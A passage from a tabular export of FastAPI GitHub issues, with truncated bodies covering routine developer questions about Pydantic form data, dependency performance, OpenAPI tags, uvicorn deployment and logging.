    logging.warning(""WILL RU... [TRUNCATED]","question,investigate,question-migrate",2022-11-08T08:23:11Z,2023-02-28T15:43:28Z,5
tiangolo/fastapi,1435481840,Add Support for Pydantic models in multipart/form data requests.,"### Example Code

```python
from typing import List, Type, Union, Any, Dict, Tuple, TypedDict

from fastapi import Depends, FastAPI
from fastapi import Form, UploadFile, File
from fastapi.openapi.utils import get_openapi
from pydantic import BaseModel
from pydantic import ValidationError
from starlette.responses import JSONResponse
from starlette.status import HTTP_422_UNPROCESSABLE_ENTITY

Loc = Tuple[Union[int, str], ...]


class _ErrorDictRequired(TypedDict):
    loc: Loc
    msg: str
    type: str


class ErrorDict(_ErrorDictRequired, total=False):
    ctx: Dict[str, Any]


app = FastAPI()


class MultipleValidationErrors(Exception):
    def __init__(self, errors: List[ErrorDict]):
        super().__init__()
        self.errors = errors


class TestSchema(BaseModel):
    foo: str
    bar: int


def validate_json(model: Type[BaseModel]):
    def wrapper(body: str = Form(...)):
        try:
            return model.parse_raw(body)
        except ValidationError as exc:
            errors = exc.errors()
            for error in errors:
                error[""loc""] = tuple([""body""] + list(error[""loc""]))
            raise MultipleValidationErrors(errors)

    return wrapper


@app.post(""/test"")
def endpoint(file: UploadFile = File(...), body: TestSchema = Depends(validate_json(TestSchema))):
    print(file)
    print(body)
    return body


@app.exception_handler(MultipleValidationErrors)
def exception_handler(_reque... [TRUNCATED]","feature,question,investigate,reviewed,question-migrate",2022-11-04T03:09:50Z,2023-02-28T15:43:23Z,4
tiangolo/fastapi,1434919639,Fastapi returns incorrent response,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List
from fastapi import Depends, FastAPI
from sqlalchemy.orm import Session
from sqlalchemy import Column, String, Integer

from loguru import logger

from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker

# database
SQLALCHEMY_DATABASE_URL = ""sqlite:///./sql_app.db""
engine = create_engine(
    SQLALCHEMY_DATABASE_URL, 
    connect_args={""check_same_thread"": False},
)
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
Base = declarative_base()
Base.metadata.create_all(bind=engine)

def get_db():
    db = Se... [TRUNCATED]","question,investigate,question-migrate",2022-11-03T16:09:32Z,2023-02-28T15:43:20Z,5
tiangolo/fastapi,1434063370,"After 3 hours, the FastAPI is unable to respond and dies ECONNREFUSED","### First Check

- [x] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
FROM python:3.9-slim

RUN apt update && apt -y upgrade
RUN apt install -y curl

WORKDIR /app
COPY . .

RUN pip install poetry
RUN poetry config virtualenvs.create false
RUN poetry install --no-dev

EXPOSE 3000

CMD [""uvicorn"", ""pricefeed.test_websocket2:app"", ""--proxy-headers"", ""--host"", ""0.0.0.0"", ""--port"", ""3000"", ""--log-level"", ""trace""]
```


### Description

I deployed my FastAPI Docker Application with Uvicorn on AWS ECS Fargate with Network Load Balancer. 
The Health Check is `[""CMD-SHELL"", ""curl -f http://127.0.0.1:3000/ws/status || exit 1""]`
However, after 3 hours of running the application, the fastapi endpoint is unreachable... [TRUNCATED]","question,answered,question-migrate",2022-11-03T03:53:02Z,2023-02-27T21:27:11Z,10
tiangolo/fastapi,1432924591,WSGIMiddleware is deprecated and will be removed in a future release,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi.middleware.wsgi import WSGIMiddleware
from flask import Flask, escape, request

flask_app = Flask(__name__)


@flask_app.route(""/"")
def flask_main():
    name = request.args.get(""name"", ""World"")
    return f""Hello, {escape(name)} from Flask!""


app = FastAPI()


@app.get(""/v2"")
def read_main():
    return {""message"": ""Hello World""}


app.mount(""/v1"", WSGIMiddleware(flask_app))
```


### Description

* `fastapi.middleware.wsgi` is inherited from Starlette
* Starlette will remove `starlette.middleware.wsgi` in the future ([See here](https://github.com/encode/starlette/blob/master/starlette/... [TRUNCATED]","question,investigate,question-migrate",2022-11-02T10:50:01Z,2023-02-28T15:43:17Z,1
tiangolo/fastapi,1432606232,How to upload from request.stream to MinIO,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request
from minio import Minio

minio_client = Minio(HOST, access_key=ACCESS_KEY, SECRET_KEY)

@app.post(""/upload"")
async def (request: Request):
    async for chunk in request.stream():
        result = minio_client.put_object(
            ""files"",
            ""object"",
            data=chunk,
            length=len(chunk),
    )
```


### Description

Hello :)
I would like to upload POSTed files directly to MinIO object storage.
I want to stream files directly from the body to  Minio, to avoid multiple copies of the file on the server.
Also I would like to avoid the UploadFile AP... [TRUNCATED]","question,investigate,question-migrate",2022-11-02T07:01:01Z,2023-02-28T15:43:14Z,3
tiangolo/fastapi,1429749291,Performance problem with dependency evaluation,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# does not apply
```


### Description

Debugging a FastAPI application and the overhead introduced by adding `Depends` type dependencies to endpoints led me to discover problems in the way dependencies are solved.  Please see PR #5554 for information.
That PR removes a _performance bug_ in `solve_dependencies` as well as speeding up non-path parameters for endpoints.
I'm adding this defect for visibilty

### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

""main"" branch

### Python Version

3.10

### Additional Context

_No response_","question,investigate,question-migrate",2022-10-31T12:15:56Z,2023-02-28T15:43:12Z,0
tiangolo/fastapi,1429578918,"My PR don't have the ""approved-2"" label","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
N/A
```


### Description

I make a PR : https://github.com/tiangolo/fastapi/pull/5477
And 2 persons already approve it : emmrichard and rjNemo
but the bot didn't add the approved-2 label.

Futhermore, some PR have this label and aren't merge to the master branch : https://github.com/tiangolo/fastapi/pulls?q=is%3Aopen+is%3Apr+label%3Aapproved-2

I'm pretty sure that I forgot something to do, but I don't know what.

Thank you for your advice.

### Operating System

Linux

### Operating System Details

N/A

### FastAPI Version

0.85.1

### Python Version

3.10

### Additional Context

N/A","question,answered,question-migrate",2022-10-31T10:03:40Z,2023-02-27T21:27:07Z,6
tiangolo/fastapi,1428965282,request.url ignore whats after dots in domain name,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI,Request

app = FastAPI()

@app.get(""/getUrl"")
def get_url(request: Request):
    return {""url"" : request.url}
```


### Description

when i try to get the url using request.url
it ignore whats after dots in the domain name,
for example if my domain is like (https://example.api.net) my endpoint in the above code will return the url which i expect to be as, https://example.api.net/getUrl
but it return (https://example/getUrl),
it ignored .api and .net

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.0

### Python Version

3.8

### Additional Context

_No response_","question,answered,question-migrate",2022-10-30T18:37:52Z,2023-02-27T21:27:04Z,3
tiangolo/fastapi,1428925852,null values are discarded from OpenAPI examples,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

Taken from https://fastapi.tiangolo.com/advanced/additional-responses/

```python
from fastapi import FastAPI

import json

app = FastAPI()

@app.get(""/"", responses={200: {""content"": {""application/json"": {""example"": {""absent"": None, ""present"": ""value""}}}}})
def read_root():
    return {""absent"": None, ""present"": ""value""}

print(json.dumps(app.openapi()))
```


### Description

- Add an example to the OpenAPI spec (using `example` or `examples`)
- Set the value to `None`
- The example is absent

The code above outputs:

```
{""openapi"": ""3.0.2"", ""info"": {""title"": ""FastAPI"", ""version"": ""0.1.0""}, ""paths"": {""/"": {""get"": {""... [TRUNCATED]","question,investigate,question-migrate",2022-10-30T17:47:31Z,2023-02-28T15:43:10Z,0
tiangolo/fastapi,1428523724,Spec-first development with `openapi-generator`?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code
I have the following OpenAPI spec
```yaml
openapi: 3.0.0
info:
  description: |
    Connector Builder Server API

  version: ""1.0.0""
  title: Connector Builder Server API
  contact:
    email: myemail@gmail.com
  license:
    name: MIT
    url: ""https://opensource.org/licenses/MIT""

paths:
  /hello_world:
    get:
      description: ""Sample endpoint""
      responses:
        ""200"":
          description: Successful operation
          content:
            application/json:
              schema:
                type: object
                properties:
                  hello:
                    type: string
```

Wh... [TRUNCATED]","question,answered,question-migrate",2022-10-30T00:32:59Z,2023-02-27T21:27:00Z,6
tiangolo/fastapi,1428502935,Async SQL (Relational) Databases example in Docs is broken,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
website = ""https://fastapi.tiangolo.com/tutorial/""

copy_tutorial_code()

result = """"""
...
ValueError: not enough values to unpack (expected 5, got 4)
""""""
```


### Description

Following the tutorial code for Async Databases https://fastapi.tiangolo.com/advanced/async-sql-databases/ results in an error when trying to view all records of a field, in this case preforming the GET operation on all notes. it will error on the line `query = notes.select()`

### Operating System

Linux, macOS

### Operating System Details

Ubuntu 22.04.1 x86 12GB Ram on VM
macOS 13 (ARM64 M1 Max) 


### FastAPI Version

0.85.1

### Python Version

Python 3.10.6

#... [TRUNCATED]","question,investigate,question-migrate",2022-10-29T23:28:13Z,2023-02-28T15:43:07Z,4
tiangolo/fastapi,1426950292,Duplicate tag names are possible on the OpenAPI object level,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union
from fastapi import FastAPI

app = FastAPI(openapi_tags=[{'name': 'items', 'description': 'items1'}, {'name': 'items', 'description': 'items2'}])

@app.get(""/items"", tags=[""items""])
def read_item(q: Union[str, None] = None):
    return {""q"": q}
```


### Description

The OpenAPI [specification](https://swagger.io/specification/#openapi-object) states that ""Each tag name in the list MUST be unique."" for the OpenAPI object.

```bash
$ curl -s http://localhost:8000/openapi.json | jq .tags
[
  {
    ""name"": ""items"",
    ""description"": ""items1""
  },
  {
    ""name"": ""items"",
    ""description"": ""items2""
  }
]
``... [TRUNCATED]","question,investigate,question-migrate",2022-10-28T09:12:44Z,2023-02-28T15:43:05Z,1
tiangolo/fastapi,1426072970,Is there a way of updating the generated Swagger spec?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()
app.openapi_version = ""3.1.0""
```


### Description

Hi, we have an internal tooling of linting the generated swagger (aka, OpenAPI) doc, which requires the API spec to follow `3.1.0`. However, the current generated version is [`3.0.2`](https://github.com/tiangolo/fastapi/blob/f67b19f0f73ebdca01775b8c7e531e51b9cecfae/fastapi/applications.py#L106).

I used the above code to update it to `3.1.0`, and it works. 😄

However, it looks like I am hard coding the version number, rather than generating with the real `v3.1.0` spec, so I wonder is there a way to update the internal swagger spec version?

Thanks 😄



### Operating System
... [TRUNCATED]","question,question-migrate",2022-10-27T18:06:54Z,2023-02-27T21:26:56Z,8
tiangolo/fastapi,1423375049,Two functions with one path produce inconsistent results,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@api.get(""/foo"")
async def foo1() -> dict:
    """"""Foo #1""""""
    return {""content"": ""First foo""}


@api.get(""/foo"")
async def foo2() -> dict:
    """"""Foo #2""""""
    return {""content"": ""Second foo""}
```


### Description

* `GET /openapi.json` (and consequently Swagger/Redoc) refer to `/foo` with `Foo #2` documentation.
* `GET /foo` returns `First foo`.
* Expected `GET /foo` to return `Second foo` _or_ `GET /openapi.json` to return `Foo #1` documentation. As it stands, the results of overriding a path are inconsistent.

### Operating System

Linux

### Operating ... [TRUNCATED]","question,answered,question-migrate",2022-10-26T03:19:42Z,2023-02-27T21:26:51Z,9
tiangolo/fastapi,1423273310,uvicorn logging format with TimedRotatingFileHandler,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging
from logging.handlers import TimedRotatingFileHandler
from fastapi import Body, FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates



app = FastAPI()
app.mount(""/static"", StaticFiles(directory=""static""), name=""static"")
templates = Jinja2Templates(directory=""templates"")

logformat = logging.Formatter(
    ""[%(asctime)s][%(filename)s:%(lineno)d][%(levelname)s][%(process)d][%(threadName)s] - %(message)s"")
logger = logging.getLogger(""uvicorn.access"")

# time rotating handler
# debug
debug_rotating_handler = TimedRotatingFileHandler(
    'pml_debug... [TRUNCATED]","question,question-migrate",2022-10-26T00:44:01Z,2023-02-27T21:26:47Z,5
tiangolo/fastapi,1420673302,Header/Query/Path parameters with same name fills them all,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union

import uvicorn
from fastapi import FastAPI, APIRouter, Depends, Path, Header, Query
from pydantic import PositiveInt

app = FastAPI()
router = APIRouter()


def get_user_id_from_header(user_id: Union[PositiveInt, None] = Header(default=None)):
    return user_id


def get_user_id_from_query(user_id: Union[PositiveInt, None] = Query(default=None)):
    return user_id


@router.get(""/user/{user_id}"")
async def article(
    user_id: PositiveInt = Path(),
    header_user_id=Depends(get_user_id_from_header),
    query_user_id=Depends(get_user_id_from_query),
):
    return {
        ""user_id"": user_id,
  ... [TRUNCATED]","question,investigate,question-migrate",2022-10-24T11:23:15Z,2023-02-28T15:43:02Z,2
tiangolo/fastapi,1420537133,"Duplicate tags ending up in openapi.json, causing ReDoc issue [fixed, with PR]","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter, FastAPI, Request
from fastapi.responses import JSONResponse

app = FastAPI()
router = APIRouter(tags=[""items"", ""items""])

@router.get(""/items/"")
def read_items(request: Request):
    return JSONResponse({""hello"": ""world""})

app.include_router(router)

# or just simply
@app.get('/test/', tags=[""test"", ""test""])
def read_test():
    return ""test""
```


### Description

* Open the browser and call endpoint '/redoc'
* Observe duplicate entries for /items and /test:

![Screenshot 2022-10-24 at 11 23 31](https://user-images.githubusercontent.com/58346970/197496996-4aba111c-8438-4d6e-b0... [TRUNCATED]","question,question-migrate",2022-10-24T09:37:47Z,2023-02-27T21:26:44Z,4
tiangolo/fastapi,1420166133,Failed when using FastAPI (uvicorn) worker,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
cd .. && uvicorn --host=0.0.0.0 --port=8000 --root-path $ROOT_PATH logistics.app.main:app --workers 5 --timeout-keep-alive 900
```


### Description

Failed to deploy on the pipeline when I added --workers 5 at the uvicorn start. It works locally, but when in deployment it failed and returned Stopped reason Task failed container health checks (after taking so long time pipeline).  Without --workers 5 it runs properly.

Why I'm using --workers 5?, is because I'm using anyio task group, before --workers 5 sets, it returns Upstream request timeout. In another service --workers are working properly, but in this case, it is not.

### Operating System

L... [TRUNCATED]","question,question-migrate",2022-10-24T03:48:29Z,2023-02-27T21:26:41Z,3
tiangolo/fastapi,1417627665,The starlette must be upgraded to 0.21.0 to solve this bug:https://github.com/tiangolo/fastapi/issues/5403,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
fastapi>=0.85.1
starlette>=0.21.0
```


### Description

these package versions have conflicting dependencies.
I want to use starlette=0.21.0.


### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.1

### Python Version

python--3.9.7

### Additional Context

_No response_","question,investigate,question-migrate",2022-10-21T02:57:05Z,2023-02-28T15:43:00Z,2
tiangolo/fastapi,1417481257,Delayed request body,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
an update method
```


### Description

[
[Screen Recording 2022-10-21 at 4.49.03 AM.zip](https://github.com/tiangolo/fastapi/files/9834602/Screen.Recording.2022-10-21.at.4.49.03.AM.zip)
](url)

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.85

### Python Version

3.10.7

### Additional Context

_No response_","question,answered,question-migrate",2022-10-20T23:47:46Z,2023-02-27T21:26:38Z,5
tiangolo/fastapi,1416910827,How to connect dropzone in fastapi,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
n/a
```


### Description

n/a

### Operating System

Windows

### Operating System Details

window 10 pro

### FastAPI Version

latest

### Python Version

3.9.8

### Additional Context

Is there anyway to connect dropzone in fastapi. I search everywhere but no be able to find it. If someone can help me by posting examples or code it will be helpful 

Thanks","question,question-migrate",2022-10-20T16:19:48Z,2023-02-27T21:26:33Z,11
tiangolo/fastapi,1416608432,Testing using pydantic models,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class ControlValue(BaseModel):
    """"""V4l2 control value model""""""

    value: Union[int, str, List[int], TriggerSequenceValue, Any]
    """""": value of v4l2 control""""""

class FrameSize(BaseModel):
    """"""Frame size model""""""

    width: int
    height: int

    class Config:
        """"""Config class""""""

        fields = {""width"": {""example"": 1024}, ""height"": {""example"": 1024}}


class FrameResolution(FrameSize):
    """"""Video device frame resolution model""""""

    width: Optional[int] = None
    height: Optional[int] = None

class CropRect(FrameSize):
    """"""Video device frame crop rectangle model""""""

    left: int = Field(defaul... [TRUNCATED]","question,answered,question-migrate",2022-10-20T13:16:57Z,2023-02-27T21:26:29Z,3
tiangolo/fastapi,1414354326,UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
NA
```


### Description

  File ""c:\Users\vvaleti\Documents\GitHub\industry_financial_rbapi\.venv\lib\site-packages\fastapi_cache\coder.py"", line 53, in encode      
    return json.dumps(value, cls=JsonEncoder)
  File ""C:\Users\vvaleti\AppData\Local\Programs\Python\Python39\lib\json\__init__.py"", line 234, in dumps
    return cls(
  File ""C:\Users\vvaleti\AppData\Local\Programs\Python\Python39\lib\json\encoder.py"", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File ""C:\Users\vvaleti\AppData\Local\Programs\Python\Python39\lib\json\encoder.py"", line 257, in iterencode
    return _iterencode(o, 0)
